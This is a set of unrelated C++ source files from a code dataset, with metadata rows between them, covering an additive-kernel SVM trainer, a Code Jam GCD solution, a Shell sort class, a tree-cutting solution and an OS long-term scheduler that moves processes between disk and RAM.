if(tmpMAX - tmpMIN > 1e-10){ step_size = (tmpMAX - tmpMIN)/param->numbins; st[i] = sqrt(step_size); a[i] = 1./step_size; b[i] = -tmpMIN/step_size + degree; xvar[i] = xsumsq/nvec - xmean[i]*xmean[i]; }else{ // no variation in this dimension a[i] = -1; b[i] = -1; st[i] = 0; xvar[i] = 0; } } bias = 0; // bias term for the classifier } // train the model using LIBLINEAR's dual coordinate descend algorithm // the learned model is L2 regularized, L1 loss (hinge loss) SVM void additiveModel::train(double **x, // training data const double *y, // training labels const int nvec, // number of training data const parameter *param) // training parameters { //initialize training parameters double * alpha = new double[nvec]; double * Q = new double[nvec]; int * index = new int[nvec]; int i,j,k,s,iter=0,active_size=nvec,wo; const int MAX_OUTER_ITERS = 1000; //encoding related variables int ei; double *ew = NULL, *xi; double *xd = new double[numbasis]; //store the dense features if(encoding == SPLINE){ ew = new double[degree+1]; } // initialize the encodings, alpha, index, Q, ... for(i = 0; i < nvec;i++){ alpha[i]=0; index[i]=i; Q[i] = param->bias * param->bias; xi = x[i]; for(j=0; j < dim ; j++){ if(st[j] > 0){ if(encoding == SPLINE){ bSplineEncoder(xi[j],j,ei,ew); if(reg == 0){ //identity matrix for(k=0;k<= degree;k++){ Q[i] += st[j]*st[j]*ew[k]*ew[k]; } }else{ //D_d matrix regularization projectDense(ei,ew,st[j],xd); for(k=0; k < numbasis;k++) Q[i] += xd[k]*xd[k]; } }else if(encoding == TRIGONOMETRIC){ trigEncoder(xi[j],j,xd); for(k=0; k < numbasis;k++) Q[i] += xd[k]*xd[k]; }else if(encoding == HERMITE){ hermiteEncoder(xi[j],j,xd); for(k=0; k < numbasis;k++) Q[i] += xd[k]*xd[k]; } } } } double C,d,G; // PG: projected gradient, for shrinking and stopping (see LIBLINEAR) double PG; double PGmax_old = INF; double PGmin_old = -INF; double PGmax_new, PGmin_new; while(iter < MAX_OUTER_ITERS){ PGmax_new = -INF; PGmin_new = INF; for (i=0; i<active_size; i++){ int j = i+rand()%(active_size-i); swap(index[i], index[j]); } for (s=0;s<active_size;s++){ i = index[s]; G = bias*param->bias; schar yi = (schar)y[i]; xi = x[i]; wo = 0; for(j = 0; j < dim ; j++){ //compute the gradient if(st[j] > 0){ if(encoding == SPLINE){ bSplineEncoder(xi[j],j,ei,ew); for(k=0; k <= degree; k++) G += st[j]*w[wo+ei-k]*ew[degree-k]; //sparse (implicit wd) }else if(encoding == TRIGONOMETRIC){ trigEncoder(xi[j],j,xd); for(k=0; k < numbasis; k++) G += w[wo+k]*xd[k]; }else if(encoding == HERMITE){ hermiteEncoder(xi[j],j,xd); for(k=0; k < numbasis; k++) G += w[wo+k]*xd[k]; } } wo += numbasis; } G = G*yi-1; if(yi == 1) C = param->Cp; else C = param->Cn; PG = 0; if (alpha[i] == 0){ if (G > PGmax_old){ active_size--; swap(index[s], index[active_size]); s--; continue; } else if (G < 0) PG = G; } else if (alpha[i] == C){ if (G < PGmin_old){ active_size--; swap(index[s], index[active_size]); s--; continue; } else if (G > 0) PG = G; } else PG = G; PGmax_new = max(PGmax_new, PG); PGmin_new = min(PGmin_new, PG); if(fabs(PG) > 1.0e-12){ double alpha_old = alpha[i]; alpha[i] = min(max(alpha[i] - G/Q[i], 0.0), C); d = (alpha[i] - alpha_old)*yi; wo = 0; for(j = 0; j < dim ; j++) { if(st[j] > 0){ if(encoding == SPLINE){ bSplineEncoder(xi[j],j,ei,ew); if(reg == 0){ //identity matrix for(k=0; k <= degree;k++){ w[wo+ei-k] += d*st[j]*ew[degree-k]; } } else{ //D_d matrix regularization projectDenseW(ei,ew,st[j],xd); for(k=0; k < numbasis;k++) w[wo+k] += d*xd[k]; } }else if(encoding == TRIGONOMETRIC){ trigEncoder(xi[j],j,xd); for(k=0; k < numbasis; k++) w[wo+k] += d*xd[k]; //sparse (implicit wd) }else if(encoding == HERMITE){ hermiteEncoder(xi[j],j,xd); for(k=0; k < numbasis; k++) w[wo+k] += d*xd[k]; //sparse (implicit wd) } } wo += numbasis; } bias += d*param->bias; } } iter++; if(iter % 10 == 0) printf("."); if(PGmax_new - PGmin_new <= param->eps){ if(active_size == nvec) break; else{ active_size = nvec; printf("*"); PGmax_old = INF; PGmin_old = -INF; continue; } } PGmax_old = PGmax_new; PGmin_old = PGmin_new; if (PGmax_old <= 0) PGmax_old = INF; if (PGmin_old >= 0) PGmin_old = -INF; }//outer iteration printf("done.\n"); //fold the bias into the model bias = bias*param->bias; delete [] alpha; delete [] index; delete [] Q; delete [] xd; if(ew != NULL) delete [] ew; }//end of pwltrain // piecewise linear predictions using the trained model void additiveModel::predict(double **x, double *d, double *l, const int nvec){ int i, j, k, wo, ei; double di; //weights for encoding double *ew=NULL, *xd = NULL; if(encoding == SPLINE) ew = new double[degree+1]; else { xd = new double[numbasis]; } for(i = 0; i < nvec; i++){ wo=0; di=bias; for(j = 0; j < dim ; j++){ if(st[j] > 0){ if(encoding == SPLINE){ bSplineEncoder(x[i][j],j,ei,ew); for(k=0; k <= degree; k++) di += st[j]*w[wo+ei-k]*ew[degree-k]; }else if(encoding == TRIGONOMETRIC){ trigEncoder(x[i][j],j,xd); for(k=0; k < numbasis; k++) di += w[wo+k]*xd[k]; }else if(encoding == HERMITE){ hermiteEncoder(x[i][j],j,xd); for(k=0; k < numbasis; k++) di += w[wo+k]*xd[k]; } } wo += numbasis; } d[i] = di; l[i] = di >= 0? 1.0 : -1.0; } if(ew != NULL) delete [] ew; if(xd != NULL) delete [] xd; } //compute the accuracy void additiveModel::getAccuracy(double *d, double *y, const int nvec, int& numcorrect, double&acc, double& prec, double& recall){ int tp=0, fp=0, tn=0, fn=0, numpos=0; for(int i = 0; i < nvec; i++){ if(y[i] >= 0){ numpos++; d[i] >=0?tp++:fn++; }else{ d[i] < 0?tn++:fp++; } } numcorrect = tp+tn; acc = (tp+tn)*100.0/nvec; prec = tp*100.0/(tp+fp); recall = tp*100.0/numpos; } // compute the projection of features on the implicit weight vector // xd = D_d^{-1}D_d^{'-1}\Phi(x) void additiveModel::projectDenseW(int ei, double *x, double st, double *xd){ projectDense(ei,x,st,xd); for(int d=1;d<=reg;d++){ for(int k = 1; k < numbasis ;k++) xd[k] = xd[k] + xd[k-1]; } } // compute the dense features corresponding to the regularization // xd = D_d^{'-1}\Phi(x) void additiveModel::projectDense(int ei, double *x, double st, double *xd){ //initialize for(int i=0; i < numbasis; i++) xd[i] = 0; for(int i=0; i <= degree; i++) xd[ei-i] = st*x[degree-i]; //repeat for various regularization degrees for(int d=1; d <= reg ; d++){ for(int i = numbasis-2;i>=0;i--) xd[i] = xd[i] + xd[i+1]; } } // display the model void additiveModel::display() { printf("Printing model:\n"); printf(" encoding = %d\n", encoding); printf(" basis degree = %d\n", degree); printf(" reguralization = %d\n", reg); printf(" numbins = %d\n", numbins); printf(" numbasis = %d\n", numbasis); printf(" data dim = %d\n", dim); printf(" weight dim = %d\n", wdim); printf(" min = "); for(int i = 0; i<dim;i++) printf("%.4f ", xmin[i]); printf("\n"); printf(" max = "); for(int i = 0; i<dim;i++) printf("%.4f ", xmax[i]); printf("\n"); printf(" mean = "); for(int i = 0; i<dim;i++) printf("%.4f ", xmean[i]); printf("\n"); printf(" var = "); for(int i = 0; i<dim;i++) printf("%.4f ", xvar[i]); printf("\n"); printf(" st = "); for(int i = 0; i<dim;i++) printf("%.4f ", st[i]); printf("\n"); printf(" a = "); for(int i = 0; i<dim;i++) printf("%.4f ", a[i]); printf("\n"); printf(" b = "); for(int i = 0; i<dim;i++) printf("%.4f ", b[i]); printf("\n"); int wo = 0; for(int i = 0; i<dim;i++){ printf(" wts [dim=%d] ",i); for(int j = 0;j < numbasis;j++){ printf("%.4f ",w[wo++]); } printf("\n"); } printf(" bias = %.2f \n", bias); } // destructor additiveModel::~additiveModel() { delete [] xmax; delete [] xmin; delete [] xmean; delete [] xvar; delete [] st; delete [] a; delete [] b; delete [] w; if(dimwts != NULL) delete [] dimwts; }
true
ada5b2a51a7df58a984c3dc605278565c6a8378f
C++
gbrlas/AVSP
/CodeJamCrawler/dataset/10_7936_76.cpp
UTF-8
558
2.859375
3
[]
no_license
#include<iostream> #include<vector> #include<algorithm> using namespace std; long long gcd(long long a,long long b){ return (b==0)?a:gcd(b,a%b); } int main(){ int C; cin >> C; for(int c=0;c<C;++c){ int T; cin >> T; vector<long long> time(T,0); for(int i=0;i<T;++i){ long long t; cin >> t; time[i]=t; } sort(time.begin(),time.end()); long long GCD=(time[1]-time[0]); for(int i=2;i<T;++i) GCD=gcd((time[i]-time[i-1]),GCD); long long y=-time[0]; while(y<0) y+=GCD; cout << "Case #" << c+1 << ": " << y << endl; } }
true
ab762a0ae3259434bfe551589c9957ef38048ebf
C++
aubreyfern/data-structures
/aubreyfernando_assignment6/ShellSort.cpp
UTF-8
1,337
3.328125
3
[]
no_license
#include <iostream> #include <string> #include <fstream> #include <cstdlib> #include "math.h" #include "ShellSort.h" using namespace std; ShellSort::ShellSort() { } ShellSort::ShellSort(string file) { fileName = file; readInFile(); } ShellSort::~ShellSort() { delete[] theArray; } void ShellSort::readInFile() { ifstream infile(fileName.c_str()); if(infile.is_open()&&infile.good()) { string lines; getline(infile,lines); size = atoi(lines.c_str()); if(size==0) { cout<<"ERROR:File has no elements"<<endl; throw exception(); } theArray = new double[size]; for (int i=0; i<size; ++i) { getline(infile,lines); theArray[i] = atof(lines.c_str()); } int exp = sqrt(size); if(exp%2==1) { exp = exp+4; } Sort(size); } infile.close(); } void ShellSort::Print() { cout<<"CountSort:"<<endl; for(int i=0; i<size;++i) { cout<<theArray[i]<<endl; } } void ShellSort::Sort(int n) { for (int gap = n/2; gap > 0; gap /= 2) { for (int i = gap; i < n; i += 1) { double temp = theArray[i]; int j; for (j = i; j >= gap && theArray[j - gap] > temp; j -= gap) theArray[j] = theArray[j - gap]; theArray[j] = temp; } } }
true
0b5cbd7cd23313a309a1ef75a76627618c8f5aae
C++
dmzld/algorithm
/BOJ/2805_나무자르기.cpp
UTF-8
789
2.734375
3
[]
no_license
#include <iostream> #include <vector> #include <algorithm> using namespace std; int N; long long M; vector<long long> W, sum; long long find(int idx){ for (long long h = W[idx]; h < W[idx + 1]; h++){ if ((sum[N] - sum[idx]) - (N - idx)*h < M){ return h - 1; } } } int main(){ ios::sync_with_stdio(0); cin.tie(0); cout.tie(0); cin >> N >> M; W.resize(N + 1, 0); // length of 'i'th wood sum.resize(N + 1, 0); // sum of length of wood for (int i = 1; i <= N; i++) cin >> W[i]; sort(W.begin(), W.end()); for (int i = 1; i <= N; i++) sum[i] = W[i] + sum[i - 1]; for (int i = N - 1; i >= 0; i--){ if ((sum[N] - sum[i]) - (N- i)*W[i] >= M){ // tot len of cut wood >= M cout << find(i); break; } } // try to solve using binary search return 0; }
true
79ac3242c8fabba0c7a5889d95df136f22ba4e76
C++
CIVICS/Interactive_Development_in_Open_Frameworks
/c++_basic_code_examples/CircleNames/CircleNames/main.cpp
UTF-8
724
3.234375
3
[]
no_license
// // main.cpp // CircleNames // // Created by Phoenix Perry on 05/11/14. // Copyright (c) 2014 Phoenix Perry. All rights reserved. // #include <iostream> #include <vector> using namespace std; struct Circle { int x; int y; int w; int h; string name; }; const int numCircles = 3; vector <string> names; vector<Circle> circles; int main(int argc, const char * argv[]) { names.push_back("player"); names.push_back("enemy"); names.push_back("peanut"); for (int i=0; i<numCircles; i++) { Circle c; circles.push_back(c); } for (int i=0; i<numCircles; i++) { circles.at(i).name = names[i]; cout<< circles.at(i).name <<endl; } return 0; }
true
e7e1edbf0e7c0859743dee4f67bf6e31f498037f
C++
spsu/os
/source/ltscheduler.cpp
UTF-8
4,364
3.0625
3
[]
no_license
#include "ltscheduler.hpp" #include "memory.hpp" #include "processlist.hpp" #include "pcb.hpp" #include <vector> #include <iostream> using namespace std; void LongTermScheduler::schedule() { moveFinishedToDisk(); moveNewToRam(); } void LongTermScheduler::moveNewToRam() { vector<Pcb*> newPcbs; Pcb* pcb = 0; // Get all of the disk-localized jobs for(unsigned int i = 0; i < processList->all.size(); i++) { pcb = processList->all[i]; pcb->acquire(); if(pcb->state == STATE_NEW_UNLOADED) { newPcbs.push_back(pcb); } pcb->release(); } if(newPcbs.size() == 0) { // Nothing left to schedule! return; } // Schedule RAM according to our chosen policy switch(policy) { case SCHEDULE_RAM_FCFS: moveToRamFcfs(newPcbs); break; case SCHEDULE_RAM_PRIORITY: moveToRamPriority(newPcbs); break; default: // No default case. break; } } void LongTermScheduler::moveToRamFcfs(vector<Pcb*> newPcbs) { Pcb* pcb = 0; ram->acquire(); disk->acquire(); for(unsigned int i = 0; i < newPcbs.size(); i++) { int pos = 0; int size = 0; pcb = newPcbs[i]; pcb->acquire(); size = pcb->size(); // Find the smallest hole for the process (or abandon) pos = ram->findSmallestContiguousHole(size); if(pos < 0) { pcb->release(); break; // WE MUST ABANDON SINCE THIS IS FCFS } // Copy Disk to RAM for(unsigned int j = 0; j < (unsigned int)size; j++) { word w = disk->get(pcb->diskPos.jobStart + j); ram->set(pos + j, w); } // Note result pcb->ramPos.jobStart = pos; pcb->ramPos.dataStart = pos + pcb->jobLength; pcb->state = STATE_NEW_UNSCHEDULED; if(printDebug) { cout << "[LTS] Loading process " << pcb->id << " (size: "; cout << pcb->size() << ") into RAM at position "; cout << pos << ".\n"; } pcb->release(); } disk->release(); ram->release(); } void LongTermScheduler::moveToRamPriority(vector<Pcb*> newPcbs) { queue<Pcb*> priPcbs; Pcb* pcb = 0; // Create new queue based on priority. // TODO: This is not the most efficient code! while(!newPcbs.empty()) { unsigned int maxPos = 0; unsigned int maxPri = 0; for(unsigned int i = 0; i < newPcbs.size(); i++) { if(newPcbs[i]->priority > maxPri) { maxPos = i; maxPri = newPcbs[i]->priority; } } priPcbs.push(newPcbs[maxPos]); newPcbs.erase(newPcbs.begin() + maxPos); } ram->acquire(); disk->acquire(); while(!priPcbs.empty()) { int pos = 0; int size = 0; pcb = priPcbs.front(); pcb->acquire(); size = pcb->size(); // Find the smallest hole for the process (or abandon) pos = ram->findSmallestContiguousHole(size); if(pos < 0) { pcb->release(); break; // WE MUST ABANDON SINCE THIS IS PRIORITY } // Copy Disk to RAM for(unsigned int j = 0; j < (unsigned int)size; j++) { word w = disk->get(pcb->diskPos.jobStart + j); ram->set(pos + j, w); } // Note result pcb->ramPos.jobStart = pos; pcb->ramPos.dataStart = pos + pcb->jobLength; pcb->state = STATE_NEW_UNSCHEDULED; if(printDebug) { cout << "[LTS] Loading process " << pcb->id << " (size: "; cout << pcb->size() << ") into RAM at position "; cout << pos << ".\n"; } pcb->release(); priPcbs.pop(); } disk->release(); ram->release(); } void LongTermScheduler::moveFinishedToDisk() { vector<Pcb*> finished; Pcb* pcb = 0; // TODO TODO TODO: LOCK PROCESS LIST / PCBS // Get all of the finished, but still RAM-localized jobs for(unsigned int i = 0; i < processList->all.size(); i++) { pcb = processList->all[i]; if(pcb->state == STATE_TERM_ON_RAM) { finished.push_back(pcb); } } if(finished.size() == 0) { // Nothing is done. return; } ram->acquire(); disk->acquire(); for(unsigned int i = 0; i < finished.size(); i++) { pcb = finished[i]; // Copy Process Data Memory from RAM to Disk for(unsigned int j = 0; j < pcb->dataLength; j++) { word w = ram->get(pcb->ramPos.dataStart + j); disk->set(pcb->diskPos.dataStart + j, w); } // Mark RAM deallocated. ram->deallocate(pcb->ramPos.jobStart, pcb->size()); // Note result in PCB pcb->ramPos.jobStart = -1; pcb->ramPos.dataStart = -1; pcb->state = STATE_TERM_UNLOADED; if(printDebug) { cout << "[LTS] Unloaded process " << pcb->id << " "; cout << "(size: " << pcb->size() << ") to Disk.\n"; } } disk->release(); ram->release(); }
true